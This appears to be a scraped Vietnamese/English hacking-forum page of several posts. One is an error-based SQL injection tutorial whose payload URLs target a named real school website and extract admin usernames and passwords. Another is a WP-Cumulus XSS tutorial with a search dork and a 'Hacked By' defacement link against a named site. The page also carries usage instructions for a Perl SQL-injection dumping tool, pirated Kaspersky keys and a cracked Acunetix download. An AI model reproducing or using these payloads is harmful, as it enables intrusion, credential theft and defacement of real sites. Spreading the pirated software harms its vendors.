[26-04-2013] Share Key Kaspersky cho ae

Tềnh hềnh là Kun share ít key kiss, ko sài đừng nói lời cay đắng
khoảng 70 key,ae sài từ từ ko thì nghẹn nha
đủ loại phiên bản,ae vào site này check key nhóa
http://www.kavkiskeychecker.com/


tải về nhoa
https://docs.google.com/file/d/0B59IM2NHYThaODM1MW1YVnJZekU/edit

cách sử dụng thì là:
ae rút cable mạng ra,không cho nó kết nối internet,rồi làm như hình sau




---------- Post added at 10:53 PM ---------- Previous post was at 10:52 PM ----------

[TUT]Standard Error Base Injection

n this tutorial I want to discuss and use standard error base injection .All tutorials I see in the forums use double query error base injection and all of them use same method and same syntax so I decide make a tutorial for this method it's pretty basic and easy to fallow

As I know all of you know about column count and basic sqli so I ignore it and start inject my target to find version but it's get us this error

Code:

The used SELECT statements have a different number of columns

So we use error base to inject this

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,version(),user(),database(),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

It's version >5 so we can use information _schema to find tables
before find tables we can count number of database to see our target have how many DB
We can use SQL's COUNT() function to count number of DB's ,tables , columns or even number number of existing user in database . For more info Click here

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(schema_name) from information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

For extract db I use the fallowing

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(schema_name) from information_schema.schemata limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

With playing limit we can find another value name of databse

Code:

limit 0,1 for first exicting things
limit 1,1 for two exicting things
.
.
.
limit (N-1),1 for N exicting things

Now you should ask yourself why I write (n-1) to find N value ?
That's simple cuse we start extracting first value with getting 0 so for finding N values we should we have to decline our numbers

Now lets count tables and read table names

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Now we have table names so start to count and find column names from admin table

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(column_name) from information_schema.columns where table_name='admin' limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

As you can see the magic quotes protect is off so we can use single or double quote in our syntax for add our name

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,'<script>alert("lols are here");</script>',(select count(*) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(column_name) from information_schema.columns where table_name='admin' limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

The last thing we should do for inject it's read admin info before that lets see the admin table have how many users

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select count(*) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

I use this syntax for find out number of the users of online game web site and it gives me this result

Spoiler (Click to View)

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat_ws(0x7e,username,pass) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

Two thing before end up this tutorial
I'm not going deep into it in union base we add null byte to inject our query into Database in error base union null byte isn't work but floor(rand(0)*2) do this thing to us in error base for more info fallow the links bellow

http://www.w3resource.com/sql/arithmetic...-value.php
http://php.about.com/od/mysqlcommands/g/floor_sql.htm
http://www.w3schools.com/sql/sql_func_round.asp
and master off all knowledge Click me

And there is one other common problem happens when going to extract value from specific table here is

Code:

[url="http://stackoverflow.com/questions/12597620/1242-subquery-returns-more-than-1-row-mysql"] [/url][i]Subquery[/i] returns [i]more than 1 row

for bypass and pass the error and get our gool's we can use substring to extract value

Code:

substring(DATA, STARTLEGNTH, ENDLENGTH)

it's look like something like this in our target if it get's us the error like this

Code:

http://www.sanskrititheschool.org/gallery.php?id=126 or 1 group by concat_ws(0x7e7e,(select concat(substring((concat_ws(0x7e,username,pass)),1,50),0x7e) from admin limit 0,1),floor(rand(0)*2)) having min(0) or 1--

Spoiler (Click to View)

As you can see I use substring((concat_ws(0x7e,username,pass)),1,50)
1 is first character of values who we want to extract
50 is end of the string value if characters more than 50 you can Increase it.

In the end I dont add any pic and think its not necessary but if you want it can be done soon
For another method of error base look at my signature
hope this can help :)

---

Xss wordpress in WP-Cumulus

Xin chào,mình là KunGa,lâu rồi không cập nhật blog nên viết 1 tut về xss ở plugin WP-Cumulus
dork:inurl:wp-content/plugins/wp-cumulus/tagcloud.swf
ví dụ mình tìm ra 1 site như sau:
http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf
mình thay vào đoạn này:

tagcloud.swf?mode=tags&tagcloud=<tags><a+href%3D'https%3A%2F%2Fwww.facebook.com%2Findonesian.go.id'+style%3D'font-size%3A+40pt'>Hacked+By+KunGa<%2Fa><%2Ftags>

 sẽ có link như sau:

http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href%3D%27https%3A%2F%2Fkunga96.blogspot.com%2Findex%27+style%3D%27font-size%3A+40pt%27%3EHacked+By+KunGa%3C%2Fa%3E%3C%2Ftags%3E

 là kết quả là:
http://e4god.com/wordpress/wp-content/plugins/wp-cumulus/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href%3D%27https%3A%2F%2Fkunga96.blogspot.com%2Findex%27+style%3D%27font-size%3A+40pt%27%3EHacked+By+KunGa%3C%2Fa%3E%3C%2Ftags%3E
các bạn tự kiểm nha nhé

Acunetix Web Vulnerability Scanner

Acunetix là một công cụ cực kỳ hữu ích dành cho :

* Các webmaster để kiểm tra lỗi cho ứng dụng web của mình
* Các nhà quản trị server dùng để kiểm lỗi cho ứng dụng web chạy trên server để đưa ra các cảnh báo kịp thời cho các webmaster Acunetix có thể hổ trợ bạn.
* Tìm kiếm lỗi của một website: SQL Injection, XSS…
* Tìm kiếm cấu trúc của một website.
* Tìm kiếm lỗi của server chứa website và các thông tin liên quan đến server của website.
* Báo cáo cũng như gợi ý chỉnh sửa các lỗi của website.
* Lưu các kết quả báo cáo cho việc fix lỗi sau này.
* Lập lịch tiến hành scan lỗi cho website.
* Cùng nhiều công cụ hổ trợ fix lỗi website khác.

This image has been resized. Click this bar to view the full image. The original image is sized 1024x576.

Download : http://www.mediafire.com/?icapdgt44d95t7n
Pass giải nén : 123456

Dưới đây là những tính năng của Acunetix, với bản mới này đã hỗ trợ tốt về Profile Upload như : Fckeditor...nếu website có dùng, scan gần như là sẽ ra hết.

Những lỗi mà Acunetix có thể phát hiện được:

Version Check

* Vulnerable Web Servers
* Vulnerable Web Server Technologies – such as “PHP 4.3.0 file disclosure and possible code execution.

CGI Tester

* Checks for Web Servers Problems – Determines if dangerous HTTP methods are enabled on the web server (e.g. PUT, TRACE, DELETE)
* Verify Web Server Technologies

Parameter Manipulation

* Cross-Site Scripting (XSS) – over 40 different XSS variations are tested.
* SQL Injection
* Code Execution(Unix and Windows)
* Directory Traversal (Unix and Windows)
* File Inclusion
* Script Source Code Disclosure
* CRLF Injection
* Cross Frame Scripting (XFS)
* PHP Code Injection
* XPath Injection
* Full Path Disclosure
* LDAP Injection
* Cookie Manipulation
* Arbitrary File creation (AcuSensor Technology)
* Arbitrary File deletion (AcuSensor Technology)
* Email Injection (AcuSensor Technology)
* File Tampering (AcuSensor Technology)
* URL redirection
* Remote XSL inclusion

MultiRequest Parameter Manipulation

* Blind SQL/XPath Injection

File Checks

* Checks for Backup Files or Directories – Looks for common files (such as logs, application traces, CVS web repositories)
* Cross Site Scripting in URI
* Checks for Script Errors

File Uploads

* Unrestricted File uploads Checks

Directory Checks

* Looks for Common Files (such as logs, traces, CVS)
* Discover Sensitive Files/Directories
* Discovers Directories with Weak Permissions
* Cross Site Scripting in Path and PHPSESSID Session Fixation.
* Web Applications
* HTTP Verb Tampering

Text Search

* Directory Listings
* Source Code Disclosure
* Check for Common Files
* Check for Email Addresses
* Microsoft Office Possible Sensitive Information
* Local Path Disclosure
* Error Messages
* Trojan shell scripts (such as popular PHP shell scripts like r57shell, c99shell etc)

Weak Passwords

* Weak HTTP Passwords

GHDB Google Hacking Database

* Over 1200 GHDB Search Entries in the Database

Port Scanner and Network Alerts

* Port scans the web server and obtains a list of open ports with banners
* Performs complex network level vulnerability checks on open ports such as:
o DNS Server vulnerabilities (Open zone transfer, Open recursion, cache poisoning)
o FTP server checks (list of writable FTP directories, weak FTP passwords, anonymous access allowed)
o Security and configuration checks for badly configured proxy servers
o Checks for weak SNMP community strings and weak SSL cyphers
o and many other network level vulnerability checks!

Other vulnerability tests may also be preformed using the manual tools provided, including:

* Input Validation
* Authentication attacks
* Buffer overflows
* Blind SQL injection
* Sub domain scanning

TUT hack shop ver 4

đầu tiên down cái tool này ( viết bằng perl )
http://pacenoge.org/tool/ssdp51.tar.gz
phần mềm hổ trợ :
http://www.perl.org/get.html
Hướng dẫn có kèm trong file ssdp51.tar.gz luôn nhưng post lên đây cho nó dài dài

Quote:

[INPUT] -u [SQLi URL] target with id parameter or sqli url with c0li string -e [sqli end tag] sql injection end tag (default: \"--\") -d [database name] this option should not be used (default: \@\@database) -t [table name] table_name -c [columns name] column_name (example: id,user,pass,email) -s [space code] SPACE code: +,/**/,%20 (default: \"+\") -f [max field] max field to get magic number (default: 123) -start [num] row number to begin dumping data -stop [num] row number to stop dumping -log [file name] file name to save ssdp data (default: ssdp.log) -p [http proxy] hostname:port [COMMAND] -info Get MySQL Information [MySQL v4+] -dbase Concat Databases [MySQL v5+] -table Concat Tables [MySQL v5+] -column Concat Columns [MySQL v5+] -tabcol Concat Tables with Columns [MySQL v5+] -find Search Columns Name [MySQL v5+] -magic Find Magic Number [MySQL v4+] -dump Dump Data [MySQL v4+] -brute Fuzzing Tables & Columns [MySQL v4+] -------------------------------------------------------------------------- Note: [+] [COMMAND] should be in last position. [+] -d [dbname] no need to used if the tables, columns or data you want to extract is in the current database (@@database). 1. Find Magic Number / Null Column "-magic" Required Options: -u Optional: -s, -f, -e, -log, -p Command: perl ssdp.pl -u [URL] [options] -magic Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=1" -magic 2) perl ssdp.pl -u "http://localhost/index.php?id=null" -s "/**/" -f 100 -e "/*" -p 127.0.0.1:8080 -magic 2. Gathering MySQL Information "-info" Required Options: -u Optional: -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -info Example: perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -info 3. Concat Databases Required Options: -u Optional: -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -dbase Example: perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -dbase 4. Concat Tables Required Options: -u Optional: -d, -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -d [dbname] -table Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d wordpress -table 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -table 5. Concat Columns Required Options: -u, -t Optional: -d, -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -d [dbname] -t [tblname] -column Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d wordpress -t wp_users -column 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -t wp_users -column 6. Concat Tables with Columns "-tabcol" Required Options: -u Optional: -d, -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -d [dbname] -tabcol Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d wordpress -tabcol 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -tabcol 7. Dump Data "-dump" Required Options: -u, -t, -c Optional: -d, -start, -stop, -where, -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -d [dbname] -t [tblname] -c [colname] -start [num] -stop [num] -dump Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d mysql -t user -c password -dump 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d mysql -t user -c host,user,password -start 5 -stop 10 -dump 8. Special Dump Query "-where [query] -dump" Required Options: -u, -t, -c Optional: -d, -e, -log, -p Command: perl ssdp.pl -u [SQLi URL] -d [dbname] -t [tblname] -c [colname] -where [query] -dump Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d mydb -t user -c id,user,pass,email -where "id=1" -dump 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d mydb -t user -c id,user,pass,email -where "user=0x61646D696E" -dump 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -d mydb -t user -c id,user,pass,email -where "email like (0x257961686F6F25)" -dump Information: [+] string value should be converted to hexadecimal ascii or decimal ascii before used (http://okedeh.co.tv) [+] 0x61646D696E = "admin", 0x257961686F6F25 = "%yahoo%", char(99,48,108,105) [+] Example MySQL Query: [-] select id,user,pass,email from mydb.user where user='admin'; [-] select id,user,pass,email from mydb.user where email like '%yahoo%'; 9. Brute Tables & Columns "-brute" Command: perl ssdp.pl -u [SQLi URL] -brute Example: [+] perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -brute 10. Combine [COMMAND] Command: perl ssdp.pl -u [SQLi URL] -[options] Example: 1) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -info -dbase -table 2) perl ssdp.pl -u "www.target.com/index.php?id=-1+union+select+1,2,c0li,4,5" -info -dbase -tabcol 11. Still thinking on this one :/

còn đầy là cái video của not_higgle bên DF làm

Quote:

http://hotfile.com/dl/43823298/c827076/phpver4.rar.html